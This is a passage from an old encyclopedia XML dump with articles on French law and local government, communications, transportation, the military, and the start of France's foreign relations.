The ombudsman is appointed for a period of 6 years by the President of the Republic in the Council of Ministers. He cannot be removed from office and is protected for his official actions by an immunity similar to [[parliamentary immunity]]. He does not receive or accept orders from any authority. The current ombudsman is [[Jean-Paul Delevoye]].

==French law==

===Basic principles===
[[Image:Declaration_of_Human_Rights.jpg|thumb|right|200px|The basic principles that the French Republic must respect are found in the 1789 [[Declaration of the Rights of Man and of the Citizen]].]]
France uses a [[civil law (legal system)|civil law]] system; that is, law arises primarily from written statutes; judges are not to make law, but merely to interpret it (though the amount of judge interpretation in certain areas makes it equivalent to [[case law]]).

Many fundamental principles of French Law were laid in the [[Napoleonic Code]]s. Basic principles of the [[rule of law]] were laid in the Napoleonic Code: laws can only address the future and not the past ([[ex post facto]] laws are prohibited); to be applicable, laws must have been officially published (see ''[[Journal Officiel de la République Française|Journal Officiel]]'').

In agreement with the principles of the [[Declaration of the Rights of Man and of the Citizen]], the general rule is that of freedom, and law should only prohibit actions detrimental to society. As [[Guy Canivet]], first president of the [[Court of Cassation]], wrote about the management of prisons:[http://www.reseauvoltaire.net/article7985.html]
:''Freedom is the rule, and its restriction is the exception; any restriction of Freedom must be provided for by Law and must follow the principles of necessity and proportionality.''
That is, law may lay out prohibitions only if they are needed, and if the inconveniences caused by this restriction do not exceed the inconveniences that the prohibition is supposed to remedy.

France does not recognize [[religious law]], nor does it recognize religious beliefs or morality as a motivation for the enactment of prohibitions. As a consequence, France has long had neither [[blasphemy]] laws nor [[sodomy law]]s (the latter being abolished in 1789).

===Statute law vs executive regulations===
French law differentiates between [[statute|statutes]] (''loi''), generally adopted by the [[legislative branch]], and [[regulation|regulations]] (''règlement'', instituted by ''[[decree|décrets]]''), issued by the [[prime minister]]. There also exist secondary regulation called ''arrêtés'', issued by ministers, subordinates acting in their names, or local authorities; these may only be taken in areas of competency and within the scope delineated by primary legislation. There are also more and more regulations issued by independent agencies, especially relating to economic matters.

According to the [[Constitution of France]]:

Statutes shall concern:
* [[civil rights|Civic rights]] and the fundamental guarantees granted to citizens for the exercise of their [[public liberties]]; the obligations imposed for the purposes of [[national defense|national defence]] upon citizens in respect of their persons and their [[property]];
* Nationality, the status and legal capacity of persons, matrimonial regimes, [[inheritance]] and gifts;
* The determination of serious [[crime|crimes]] and other major offences and the penalties applicable to them; [[criminal procedure]]; [[amnesty]] ; the establishment of new classes of [[court|courts]] and tribunals and the regulations governing the members of the [[judiciary]];
* The base, rates and methods of collection of [[tax|taxes]] of all types; the issue of [[currency]].

Statutes shall likewise determine the rules concerning:
* The [[electoral system|electoral]] systems of [[French Parliament|parliamentary assemblies]] and local assemblies;
* The creation of categories of public establishments;
* The fundamental guarantees granted to civil and military personnel employed by the State;
* The [[nationalization]] of enterprises and transfers of ownership in enterprises from the public to the private sector.

Statutes shall determine the fundamental principles of:
* The general organization of national defence ;
* The self-government of territorial units, their powers and their resources ;
* [[Education]];
* The regime governing ownership, rights in rem, and civil and commercial obligations ;
* [[Labour law]], [[trade union|trade-union]] law and [[social security]].

Finance Acts shall determine the resources and obligations of the State in the manner and with the reservations specified in an institutional Act.
Social Security Finance Acts shall determine the general conditions for the financial balance of Social Security and, in light of their revenue forecasts, shall determine expenditure targets in the manner and with the reservations specified in an institutional Act.
Programme Acts shall determine the objectives of the economic and social action of the State.

The provisions of this article may be enlarged upon and complemented by an institutional Act.

Other areas are matters of [[regulation]].

===Hierarchy of norms===
When courts have to deal with incoherent texts, they apply the following hierarchy:

# The French Constitution 
# general principles of constitutional values recognized by the laws of the Republic (as defined by the Constitutional Council)
# International Treaties and Agreements
# organic laws
# normal laws
# general principles of law (as defined by the [[Conseil d'État]])
# decrees taken with advisory review by the Conseil d'État
# decrees taken without review by the Conseil d'État
# ''arrêtés''
#* of several ministers
#* of a single minister
#* of other authorities
# regulations and decisions by independent agencies.

==Local government==
[[Image:France_departements.png|thumb|right|300px|Since the French revolution, France is divided into ''départements'', which were later grouped into ''[[région]]s'']]
Traditionally, decision-making in France used to be highly centralized, with each of France's ''[[département in France|département]]'' headed by a [[préfet|prefect]] appointed by the central government, in addition to the ''conseil général'', a locally elected council. However, in [[1982]], the national government passed legislation to [[Decentralisation|decentralize]] authority by giving a wide range of administrative and fiscal powers to local elected officials. In March [[1986]], regional councils were directly elected for the first time, and the process of decentralization has continued, albeit at a slow pace. In March 2003, a constitutional revision has changed very significantly the legal framework and could lead to more decentralisation in the coming years.

Administrative units with a local government in [[Metropolitan France]] (that is, the parts of France lying in Europe) consist of:
* about 36,000 ''[[commune in France|communes]]'', headed by a municipal council and a mayor, grouped in
* 96 ''[[département in France|département]]s'', headed by a ''conseil général'' (general council) and its president, grouped in
* 22 ''[[région in France|région]]s'', headed by a [[Conseil régional|regional council]] and its [[President of the regional council|president]].

The ''conseil général'' is an institution created in 1790 by the French Revolution in each of the newly created departments (they were suppressed by the Vichy government from 1942 to 1944).  A ''conseiller général'' (departmental councillor) must be at least 21 years old and either live or pay taxes in locality from which he or she is elected. (Sociologist Jean Viard noted [''Le Monde'', Feb. 22, 2006] that half of all ''conseillers généraux'' were still ''fils de paysans'', i.e. sons of peasants, suggesting France's deep rural roots). Though the central government can theoretically dissolve a ''conseil général'', this has happened only once in the Fifth Republic.   	

The ''conseil général'' discusses and passes laws on matters that concern the department; it is administratively responsible for departmental employees and land, manages subsidized housing, public transportation, and school subsidies, and contributes to public facilities. It is not allowed to express &quot;political wishes.&quot; The ''conseil général'' meets at least three times a year and elects its president for a term of 3 years, who presides over its &quot;permanent commission,&quot; usually consisting of 5-10 other departmental councillors elected from among their number. The ''conseil général'' has accrued new powers in the course of the political decentralization that has occurred past in France during the past thirty years. There are in all more than 4,000 ''conseillers généraux'' in France. 	 
 		 
Different levels of administration have different duties, and shared responsibility is common; for instance, in the field of education, ''communes'' run public elementary schools, while ''départements'' run public junior high schools and ''régions'' run public high schools, but only for the building and upkeep of buildings; curricula and teaching personnel are supplied by the national Ministry of Education. 	 
 		 
[[French overseas departments and territories|French oversea possessions]] are divided into two groups: 	 
* 4 [[Départements d'outre-mer|oversea ''départements'']], with some strong similarity of organization to their metropolitan counterparts; 	 
* [[Territoires d'outre-mer|Other possessions]], generally having greater autonomy. 	 
	 
All inhabited French territory is represented in both houses of Parliament and votes for the presidential election. 	 
	 
==References== 	 
''All texts in French unless otherwise noted.'' 	 
* Legal reference texts 	 
** Constitution 	 
*** ''[[Constitution of France|Constitution de la République Française]]'' 
[http://www.conseil-constitutionnel.fr/textes/c1958web.htm original text], [http://www.assemblee-nationale.fr/english/8ab.asp official English translation]) 	 
*** [[Declaration of the Rights of Man and of the Citizen]] ([[s:fr:Déclaration des Droits de l'Homme et du Citoyen|French text]], [[s:en:Declaration of the Rights of Man and of the Citizen|English translation]]) 	 
** Rules of procedure 	 
*** Rules of procedure of the National Assembly ([http://www.assemblee-nationale.fr/connaissance/reglement.asp#P31_233 original text], [http://www.assemblee-nationale.fr/english/8ac.asp English version]) 	 
** Justice 	 
*** ''[http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CCIVILL0.rcv Code civil]'' ([http://www.legifrance.gouv.fr/html/codes_traduits/code_civil_somA.htm official English translation]) 	 
*** ''[http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CJURFINL.rcv Code des juridictions financières]'' 	 
*** ''[http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CPROCPEL.rcv Code de procédure pénale]'' ([http://www.legifrance.gouv.fr/html/codes_traduits/cppsomA.htm official English translation]) 	 
*** ''[http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CJUSADML.rcv Code de justice administrative]'' 	 
** Budget 	 
*** [http://www.legifrance.gouv.fr/WAspad/UnTexteDeJorf?numjo=ECOX0104681L The LOLF] ([http://www.legifrance.gouv.fr/html/codes_traduits/lolf.htm official English translation]) 	 
** Ombudsman 	 
*** [http://www.legifrance.gouv.fr/texteconsolide/PPEAP.htm Law 73-6 of January 3, 1973], creating the position of the Ombudsman (updated version) 	 
** Justice 	 
*** [http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CCIVILL0.rcv Civil Code, statutory part] 	 
*** [http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CPROCIV0.rcv Code of Civil Procedure, statutory part] ([http://www.legifrance.gouv.fr/html/codes_traduits/somncpca.htm official English translation]) 	 
*** [http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CPENALLL.rcv Criminal Code, statutory part]  [http://www.legifrance.gouv.fr/html/codes_traduits/code_penal_soman.htm official English translation]) 	 
*** [http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CPROCPEL.rcv Code of Criminal Procedure, statutory part] ([http://www.legifrance.gouv.fr/html/codes_traduits/cppsomA.htm official English translation]) 	 
*** [http://www.legifrance.gouv.fr/WAspad/UnCode?commun=&amp;code=CJUSADML.rcv Code of Administrative Justice, statutory part] 	 

* Official documentation 	 
** General 	 
*** ''[http://www.vie-publique.fr/decouverte_instit/sommaire.htm Vie publique&amp;nbsp;: découverte des institutions]'' 	 
*** ''Les pouvoirs publics. Textes essentiels 2005.'', ''[[La Documentation française]]'', ISBN 2110059613 	 
** Financial jurisdictions 	 
*** ''[http://www.ccomptes.fr/FramePrinc/frame01.htm La Cour des Comptes]'', [http://www.ccomptes.fr/anglais/anglais_1.htm The Court of Accounts] {{en icon}} 	 
** Budget 	 
*** [[Alain Lambert]], [[Didier Migaud]], ''Réussir la LOLF, clé d'une gestion publique responsable et efficace. Rapport au Gouvernement'', September 2005, ISBN 2110955155 ([http://www.ladocumentationfrancaise.fr/rapports-publics/054000592/index.shtml page], [http://lesrapports.ladocumentationfrancaise.fr/cgi-bin/brp/telestats.cgi?brp_ref=054000592&amp;brp_file=0000.pdf PDF]) 	 
*** [http://www.vie-publique.fr/decouverte_instit/approfondissements/approf_212.htm Presentation of the LOLF] 	 
*** Edward Arkwright, Stanislas Godefroy, Manuel Mazquez, Jean-Luc Bœuf, Cécile Courrèges, ''La mise en oeuvre de la loi organique relative aux lois de finances'', [[La Documentation Française]], 2005, ISBN 2110059443 	 
	 
==See also== 	 
* ''[[Journal Officiel de la République Française]]'' 	 
* ''[[Légifrance]]'' 	 
	 
==External links== 	 
''All external sites in French unless otherwise noted.'' 	 
* General 	 
** [http://www.service-public.fr ''Service Public'', Official portal to public services] 	 
* Law 	 
** [http://www.legifrance.gouv.fr Official online repository of laws and regulations] (''[[Légifrance]]'') 	 
** [http://www.doc.diplomatie.fr/pacte/ Official online repository of treaties] in which France is a party 	 
* Assemblies 	 
** [http://www.assemblee-nationale.fr Official site of the French National Assembly] 	 
** [http://www.senat.fr Official site of the French Senate] 	 
** [http://www.conseil-economique-et-social.fr Official site of the French Economic and Social Council] 	 
* Ombudsman 	 
** [http://www.mediateur-republique.fr/ Official site] 	 
* Justice 	 
** [http://www.courdecassation.fr Official site of the ''Cour de Cassation''] 	 
** [http://www.conseil-etat.fr Official site of the ''Conseil d'État''] 	 
** [http://www.conseil-constitutionnel.fr/ Official site of the Constitutional Council] 	 
** [http://www.ccomptes.fr/ Official site of the Court of Auditors] 	 
** [http://www.conseil-superieur-magistrature.fr/ Official site of the High Council of the Magistracy] 	 
		 
[[Category:Politics of France]] 	 
[[Category:Government of France| Government of France]] 	 
		 
[[de:Französische Regierung]] 	 
[[fr:Gouvernement français]] 	 
[[he:ממשלת צרפת]] 	 
[[nl:Regering van Frankrijk]]</text>
    </revision>
  </page>
  <page>
    <title>France/Economy</title>
    <id>10721</id>
    <revision>
      <id>15908518</id>
      <timestamp>2002-08-04T07:23:01Z</timestamp>
      <contributor>
        <username>Scipius</username>
        <id>488</id>
      </contributor>
      <comment>moved to [[Economy of France]]</comment>
      <text xml:space="preserve">#REDIRECT [[Economy of France]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in France</title>
    <id>10722</id>
    <revision>
      <id>35575527</id>
      <timestamp>2006-01-17T19:37:36Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: fr</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:''' 33.91 million (year end 2003)

'''Telephones - mobile cellular:''' 41.68 million (year end 2003)

'''Telephone system:''' highly developed
&lt;br&gt;''domestic:'' extensive cable and microwave radio relay; extensive introduction of fiber-optic cable; domestic satellite system
&lt;br&gt;''international:'' satellite earth stations - 2 [[Intelsat]] (with total of 5 antennas - 2 for [[Indian Ocean]] and 3 for [[Atlantic Ocean]]), NA [[Eutelsat]], 1 [[Inmarsat]] (Atlantic Ocean region); HF radiotelephone communications with more than 20 countries

'''[[Radio]] broadcast stations:''' AM 41, FM about 3,500 (this figure is an approximation and includes many repeaters), shortwave 2 (1998)

'''Radios:''' 55.3 million (1997)

'''[[Television]] broadcast stations:''' 584 (plus 9,676 repeaters) (1995)

'''Televisions:''' 34.8 million (1997)

'''[[Internet country code]]:''' .fr

'''[[Internet Service Provider]]s (ISPs):''' 62 (2000)

'''[[Internet host]]s:''' 2,396,761 (2004)

'''[[Internet user]]s:''' 21.9 million (2003) 

==See also==
* [[France]]
* [[media in France]]
* [[List of French newspapers]]

==External links==

* [http://www.discoverfrance.net/France/DF_communications.shtml Communications in France - at ''Discover France'' (English)]
* [http://www.discoverfrance.net/France/DF_communications2.shtml Phone, Fax and Minitel Services in France (English)]
* [http://www.discoverfrance.net/France/DF_communications3.shtml E-mail and the Internet in France (English)]
* [http://www.discoverfrance.net/France/DF_communications4.shtml Print and Broadcast Media in France (English)]

[[Category:Communications by country|France]]
[[Category:Communications in France| ]]

[[fr:Téléphonie en France]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in France</title>
    <id>10723</id>
    <revision>
      <id>40133360</id>
      <timestamp>2006-02-18T10:53:43Z</timestamp>
      <contributor>
        <username>Hektor</username>
        <id>119631</id>
      </contributor>
      <comment>/* [[Railway]]s */</comment>
      <text xml:space="preserve">{{CIA WFB 2003}}
[[Image:France airport map.png|300px|thumb|right|Airports in France]]
== [[Railway]]s ==
''Total:''
31,939 km (31,940 km are operated by French National Railways ([[SNCF]]); 14,176 km of SNCF routes are electrified and 12,132 km are double- or multiple-tracked)
&lt;br&gt;''[[standard gauge]]:''
31,840 km 1.435-m gauge
&lt;br&gt;''[[narrow gauge]]:''
99 km 1.000-m gauge (1998)

Trains, unlike road traffic, drive on the left (except in [[Alsace-Moselle]]). Metro and tramway services are not considered trains and thus generally follow road traffic in driving on the right.

See also: [[TGV]], [[high-speed rail]], [[French railway history]], [[Chemins de Fer de Provence]], [[Channel Tunnel]].

'''[[Rapid transit|Métro]]s''':
* [[Paris Metro]], operated by the [[RATP]] (''Régie Autonome des Transports Parisiens'') and the [[RER]]
* [[Laon]], [[Poma 2000]]
* [[Lille]], [[VAL]] (''Véhicule Automatique Léger'', &quot;Light Automatic Vehicle&quot;), operated by [[Transpole]].
* [[Lyon Metro]]
* [[Marseille]], operated by the RTM (''Régie des Transports de Marseille'')
* [[Rennes Metro]], VAL
* [[Toulouse]], VAL

'''[[Tram|Tramway]]s and [[light rail]]ways:'''

This mode of transport started disappearing in France at the end of the [[1930s]]. Since the [[1980s]], several cities have re-introduced it.&lt;br&gt;List of cities operating a tramway or light rail system:

* [[Bordeaux]], since [[2003]]
* [[Caen]], since [[2002]], 'trams on tyres' [[guided bus]] system featuring a single guidance rail while running on tyres (partially separate tracks)
* [[Grenoble]], since [[1987]]
* [[Île-de-France_(région)|Île-de-France]]
**T1 between [[Saint-Denis, Seine-Saint-Denis|Saint Denis]] and [[Noisy-le-Sec]], since [[1992]]
**T2 between [[La Defense]] and [[Issy Plaine]], since [[1997]]
* [[Lille]] &amp;mdash; [[Roubaix]] &amp;mdash; [[Tourcoing]]
* [[Lyon]], since [[2001]]
* [[Marseille]]
* [[Montpellier]], since [[2000]]
* [[Nancy]], since [[2000]], 'trams on tyres' [[guided bus]] system featuring a single guidance rail while running on tyres (partially separate tracks)
* [[Nantes]], since [[1985]]
* [[Orléans]], since [[2000]]
* [[Rouen]], since [[1994]]
* [[Saint-Etienne]]
* [[Strasbourg]], since [[1994]]

Under construction:
* [[Mulhouse]]
* [[Nice]]
* [[Valenciennes]]
* [[Paris]], T3 around the city
Planned:
* [[Angers]]
* [[Brest, France|Brest]]
* [[Le Mans]]
* [[Toulon]]

Closed:
* [[Paris]], since March [[1937]]
* [[Caen]], [[1935]]

=== Rail links with adjacent countries ===
* [[Transportation in Andorra|Andorra]] &amp;mdash; no 
* [[Transportation in Belgium|Belgium]] &amp;mdash; yes
* [[Transportation in Germany|Germany]] &amp;mdash; yes
* [[Transportation in Italy|Italy]] &amp;mdash; yes
* [[Transportation in Luxembourg|Luxembourg]] &amp;mdash; yes
* [[Transportation in Monaco|Monaco]] &amp;mdash; yes
* [[Transportation in Spain|Spain]] &amp;mdash; yes &amp;mdash; [[break-of-gauge]] 1435mm/1676mm
* [[Transportation in Switzerland|Switzerland]] &amp;mdash; yes
* [[Transportation in the United Kingdom|United Kingdom]] &amp;mdash; yes; see [[Eurostar]]

== [[Road]]s ==
''Total:'' 893,300 km (including 10,300 km of [[Motorway]]s) (1998 est.).
Most motorways in France are toll and operated by private companies (such as the [[SAPN]]).

All french roads have tarmac surfacing.

=== Specific motorways ===
* [[A1 autoroute (France)]], from [[Paris]] to the Belgian border
* [[A6 autoroute]]
* [[A75 autoroute]], from [[Clermont-Ferrand]] to [[Béziers]]
* [[List of motorways in France]]
* [[Peripherique|Paris ring road ''Périphérique'']]

== [[Waterway]]s / canals ==
14,932 km; 6,969 km heavily traveled

== [[Pipeline]]s ==
Crude [[Petroleum|oil]] 3,059 km; petroleum products 4,487 km; natural [[gas]] 24,746 km

== [[Seaport]]s and [[harbour]]s ==
[[Bordeaux]], [[Boulogne-sur-Mer]],[[Calais]], [[Cherbourg]], [[Dijon]], [[Dunkerque]], [[La Pallice]], [[Le Havre]], [[Lyon]], [[Marseille]], [[Mulhouse]], [[Nantes]], [[Paris]], [[Rouen]], [[Saint-Nazaire]], [[Saint Malo]], [[Strasbourg]], [[Gennevilliers]].

==Merchant marine==
&lt;br&gt;''total:''
55 ships (1,000 GRT or over) totaling 1,155,286 GRT/1,693,030 DWT
&lt;br&gt;''ships by type:''
Bulk 3, cargo 5, chemical tanker 6, combination bulk 1, container 5, liquefied gas 4, multi-functional large load carrier 1, passenger 3, petroleum tanker 16, roll-on/roll-off 6, short-sea passenger 4, specialized tanker 1 (1999 est.)
&lt;br&gt;''note:''
[[France]] also maintains a captive register for French-owned ships in [[Iles Kerguelen]] ([[French Southern and Antarctic Lands]]) (1998 est.)

==Air travel in France==
There are ~478 airports in France (1999 est.) (see [[List of French Airports]]).

Among the airspace governance authorities active in France, one is [[Aéroports de Paris]] (see http://www.aeroportsdeparis.fr/ADP/en-GB/Passagers/ homepage]), which has authority over the Parisian region, managing 14 airports including [[Charles De Gaulle International Airport]] and [[Orly Airport]].{{ref|ParisianAirspaceAuthority}}  The former, located in [[Roissy|Roissy en France]] near [[Paris]], is one of [[Europe]]'s principal aviation centers and is also France's main international airport.
==[[Airport]]s &amp;mdash; with paved runways==
&lt;br&gt;''total:''
267
&lt;br&gt;''over 3,047 m:''
14
&lt;br&gt;''2,438 to 3,047 m:''
30
&lt;br&gt;''1,524 to 2,437 m:''
92
&lt;br&gt;''914 to 1,523 m:''
74
&lt;br&gt;''under 914 m:''
57 (1999 est.)

=== Airports &amp;mdash; with unpaved runways ===
&lt;br&gt;''total:''
207
&lt;br&gt;''1,524 to 2,437 m:''
4
&lt;br&gt;''914 to 1,523 m:''
76
&lt;br&gt;''under 914 m:''
127 (1999 est.)

=== National [[airline]] ===
*[[Air France]]
*[[AOL]]
*[[Air Inter]]

=== [[Heliport]]s ===
3 (1999 est.)

== History ==

France naturally has a system of large, navigable rivers, such as the [[Loire]], [[Seine|la Seine]] and [[Rhone River|le Rhône]] that criss cross the country and have long been essential for trade and travel.

The first important human improvements were the [[Roman road]]s linking major settlements and providing quick passage for marching armies. These routes these roads followed are copied today by many 'N' class roads.

Throughout the [[middle ages]] improvements were sparse and mediocre and transport became slow and cumbersome. The early modern period saw great improvements. There was a proliferation of [[canal]]s connecting rivers (like the [[Canal du Midi]]). It also saw great changes in oceanic shipping. Rather than expensive [[galley]]s, wind powered ships that were far faster and had far more cargo space became popular on the coastal trade. Transatlantic shipping with the [[New World]] turned cities such as [[Nantes]], [[Bordeaux]], [[Cherbourg]] and [[Le Havre]] into major ports of international importance.

== Railways ==
''(see also [[French railway history]])''

Even in France, where, because of water transport, railways were of lesser importance than in other nations, railways were still an extremely important area of economic development. Despite already having a well developed water transport system, by [[1875]] railways were carrying four times as much cargo as canals and rivers combined.

French railways started later, and developed more slowly than those in other nations. While the first railway built in France was in operation in [[1832]], not long after the first line had opened in [[United Kingdom|Britain]], French progress failed to keep pace over the next decade. 

After the war of [[1870]] the French rail system was overhauled and made far more efficient. By [[1914]] the French rail system was a match for Germany's and played a crucial part in France's victory in the [[World War I|First World War]].

In the [[1930s]] [[Léon Blum]]'s socialist government nationalised the French rail system, along with many other industries, and the transport system was successful in [[World War II]].

After the war the French train system began a slow movement to electric trains. Eventually [[TGV]] [[high speed train]]s were introduced providing extremely quick links been France's urban centers.

== See also ==
*[[France]]
*[http://www.sncf.com/ SNCF web site]
*[http://www.sncf.co.uk/ SNCF UK web site]

== Notes and References ==
# {{note|ParisianAirspaceAuthority}} {{Citenews | title=Laurine Feinberg appointed to guide the Parisian airports towards the ISO 14001 certification (Press Release) | date=February 16, 2005 | org=Aéroports de Paris | url=http://www.aeroportsdeparis.fr/ADP/en-GB/Groupe/Press/Communiques/January-March+2005/LaurineFeinbergappointed.htm?}}

[[Category:Transportation in France|*]]

[[fr:Transport en France]]
[[it:Trasporti in Francia]]</text>
    </revision>
  </page>
  <page>
    <title>Military of France</title>
    <id>10724</id>
    <revision>
      <id>39254633</id>
      <timestamp>2006-02-11T22:04:03Z</timestamp>
      <contributor>
        <ip>12.29.79.146</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Military
| color=#8888ff
| age=17 years of age with consent for voluntary military service (2001)
| availability=13,676,509 (2005 est.)
| service=11,262,661 (2005 est.)
| reaching age=389,204 (2005 est.)
| active=259,050 ([[List of countries by number of active troops|ranked 20th]])
| amount= $45 billion (2005) 
| percent GDP= 2.6% (2005) 
}}

==Organisation==
The titular head of the French armed forces is the [[President of France|President of the Republic]], in his role as ''Chef des Armées'' &amp;mdash; the President is thus [[Commander-in-Chief]] of French Forces. However, the Constitution puts civil and military government forces at the disposal of the ''gouvernement'' (the executive cabinet of ministers, who are not necessarily of the same political side as the president). The [[Minister of Defence (France)|Minister of Defence]] ([[as of 2005]], [[Michèle Alliot-Marie]]) oversees the military's funding, procurement and operations.

The [[France|French]] [[armed forces]] are divided into four branches:
* [[French Army|Army]] (''Armée de Terre''), including
** [[Chasseurs Alpins]]
** [[French Foreign Legion|Foreign Legion]] (''Légion étrangère'')
** [[French Marines|Marine]] troops
** light aviation (ALAT - ''Aviation Légére de l'Armée de Terre'')
** engineers (''Génie'')
*** including [[Paris Fire Brigade]]
* [[French Navy|Navy]] (''Marine Nationale''), including
** [[Aviation Navale|Naval Air]]
** [[naval fusiliers (France)|naval fusiliers]] and [[naval commandos (France)|naval commandos]]
** Including [[Marseille]] Fire Battalion
* [[French Air Force|Air Force]] (''Armée de l'Air'') including
** territorial [[Air Defence]]
** air [[fusilier]]s
* [[French Gendarmerie|Gendarmerie]] (''Gendarmerie Nationale''), a military police force which serves for the most part as a rural and general purpose police force.

[[Image:French military on Champs Elysees DSC00768.jpg|thumb|right|200px|Every year on [[Bastille Day]], a large military parade is staged before the [[President of France|President of the Republic]] (here, soldiers preparing themselves).]]


They also include the following services:
* [[Délégation Générale pour l'Armement|General delegation to weaponry]] (defence procurement agency), military/civilian service, including
** formerly, the Direction of Naval Constructions
** supervision of some engineering schools (including [[École Polytechnique]], [[École Nationale Supérieure de Techniques Avancées]] and [[SUPAERO]])
* Health service of the armies, which operates [[:Category:Military hospitals in France|a number of military hospitals]]
* Service of fuels.

==Manpower==
The total number of military personnel is approximately 300,000. However, 100,000 of these are in the Gendarmerie, and thus a vast majority of these 100,000 are used in everyday law enforcement operations inside France and are not fit for external operations. Elements of the Gendarmerie are however present in all French external operations, providing troops specialised in order enforcement and military police.

Previously, France relied a great deal on [[conscription]] to provide manpower to its armies, with only a minority of career soldiers. Following from the [[Algerian War of Independence]], the use of non-volunteer draftees in foreign operations was ended; if their unit is called for duty in war zones, draftees were offered the choice between requesting a transfer to another unit or volunteering for the mission. In 1996, President [[Jacques Chirac]]'s government announced the end of conscription; in 2001, conscription was ended. However, young people must still register for possible conscription should the situation call for it, with the cosmetic change that now females must register as well.

==International stance==
French military doctrine is based on the concepts of national independence, nuclear deterrence (''see [[Force de frappe]]''), and military sufficiency. [[France]] is a charter member of the [[North Atlantic Treaty Organisation]] ([[NATO]]), and has worked actively with Allies to adapt NATO--internally and externally--to the post-[[Cold War]] environment. In December 1995, France announced that it would increase its participation in NATO's military wing, including the Military Committee (the French withdrew from NATO's military bodies in 1966 while remaining full participants in the alliance's political councils). France remains a firm supporter of the [[Organisation for Security and Co-operation in Europe]] and other efforts at cooperation. [[Paris]] hosted the May 1997 NATO-Russia [[Summit]] for the signing of the Founding Act on Mutual Relations, Cooperation and Security.

Outside of NATO, France has actively and heavily participated in both coalition and unilateral peacekeeping efforts in [[Africa]], the [[Middle East]], and the [[Balkans]], often taking the lead in these operations. France has undertaken a major restructuring to develop a professional military which will be smaller, more rapidly deployable and better tailored for operations outside of mainland France. Key elements of the restructuring include reducing personnel, bases, and headquarters and rationalising equipment and the armaments industry. French active-duty military at the beginning numbers approximately 270,000 ([[World Almanac]] 2004), of which nearly 35,000 were assigned outside of metropolitan France.

Since the end of the [[Cold War]], France has placed a high priority on arms control and non-proliferation. French Nuclear testing in the [[Pacific]], and the [[Sinking of the Rainbow Warrior]] strained French relations with its Allies and South Pacific states.  France acceded to the [[Nuclear Non-Proliferation Treaty]] in 1992 and supported its indefinite extension in 1995. After conducting a controversial final series of six nuclear tests on [[Mururoa]] in the [[Pacific Ocean|South Pacific]], the French signed the [[Comprehensive Test Ban Treaty]] in 1996. France has implemented a moratorium on the production, export, and use of anti-personnel [[land mine|landmines]] and supports negotiations leading toward a universal ban. The French are key players in the adaptation of the Treaty on Conventional Armed Forces in Europe to the new strategic environment.

France is an active participant in the major supplier regimes designed to restrict transfer of technologies that could lead to proliferation of weapons of mass destruction: the Nuclear Suppliers Group, the [[Australia Group]] (for chemical and biological weapons), and the [[Missile Technology Control Regime]]. France has signed and ratified the [[Chemical Weapons Convention]].

''See also: [[France and weapons of mass destruction]]''

==Recent operations==
France provides, along with the [[United States]] and other countries, troops for the force stationed in [[Haiti]], sanctioned by the [[United Nations]], following the [[2004 Haiti rebellion]].

France has sent troops, especially [[special force]]s, into [[Afghanistan]] to help the United States and NATO forces fight the remains of the [[Taliban]] and [[Al Qaeda]].

A force of a few thousand French soldiers, under a mandate from the UN (Opération Licorne), are stationned in Côte d'Ivoire on a peacekeeping mission. These troops were initially sent under the terms of a mutual protection pact between France and Côte d'Ivoire, but the mission has since evolved into the current UN peacekeeping operation.

==Equipment==
* The standard [[assault rifle]] is the [[FAMAS]].
* Heavy armoured vehicles are bought from [[GIAT Industries]].

==See also==
{{commons|Military of France}}
* [[:Category:French Air Force]]
* [[:Category:French Army]]
* [[:Category:French Navy]]

== External links ==
* [http://www.defense.gouv.fr/ Official site of the French Ministry of Defence]
*[http://www.defencetalk.com Global Military &amp; Defence News, Pictures and Discussions] DefenceTalk.com
{{NATO}}
[[Category:Militaries|France]]
[[Category:Military of France|Military of France]]

[[cs:Armáda Francie]]
[[de:Französisches Militär]]
[[fr:Armée française]]
[[ja:フランス軍]]
[[lt:Prancūzijos karinės pajėgos]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of France</title>
    <id>10725</id>
    <revision>
      <id>41719192</id>
      <timestamp>2006-03-01T07:14:38Z</timestamp>
      <contributor>
        <username>Jrleighton</username>
        <id>140144</id>
      </contributor>
      <comment>/* Germany and Europe */ clarify: europe &lt;&gt; eu</comment>
      <text xml:space="preserve">{{Politics of France}}A charter member of the [[United Nations]], France holds one of the permanent seats in the [[Security Council]] and is a member of most of its specialized and related agencies.

==Relations per wide geographic areas==
=== Germany and Europe===
France is a major power in [[western Europe]] because of its size, location, strong economy, membership in European organizations, strong military posture, and energetic diplomacy. France generally has worked to strengthen the global economic and political influence of the [[EU]] and its role in common European defense and [[collective security]]. 

It views [[Franco-German cooperation]] and the development of a [[European Security and Defence Identity]] (ESDI) as the foundation of efforts to enhance European Union security. France cooperates closely with [[Germany]] and [[Spain]], but the relations with the [[United Kingdom]] are historically tense.

===Middle East===
{{NPOV-section}}
France's relations with Middle East have a long history. During the [[Thirty Years War]] France was a friend of and ally to the [[Ottoman Empire]] supplying weaponry and training and on occasion cooperating against the [[Holy Roman Empire]].  One advisor that was about to be sent to Constantinople in [[1795]] was a young artillery commander named [[Napoleon I of France|Napoleon Bonaparte]], but a few days before he was to leave the famous &quot;[[whiff of grapeshot]]&quot; occurred and it was decided he should stay in France.

Throughout the nineteenth century the French pursued a policy of shoring up the Ottoman Empire to prevent advances by France's rivals [[Austria]] and [[Russia]] into the Balkans.  This finally culminated in the [[Crimean War]] where France joined with Britain to prevent the Russian overrunning of the Ottoman Turks.

France also pursued close relations with the semi-autonomous Egypt.  In [[1869]] French workers completed the [[Suez Canal]].  A rivalry emerged between France and Britain for control of Egypt, and eventually Britain emerged victorious.

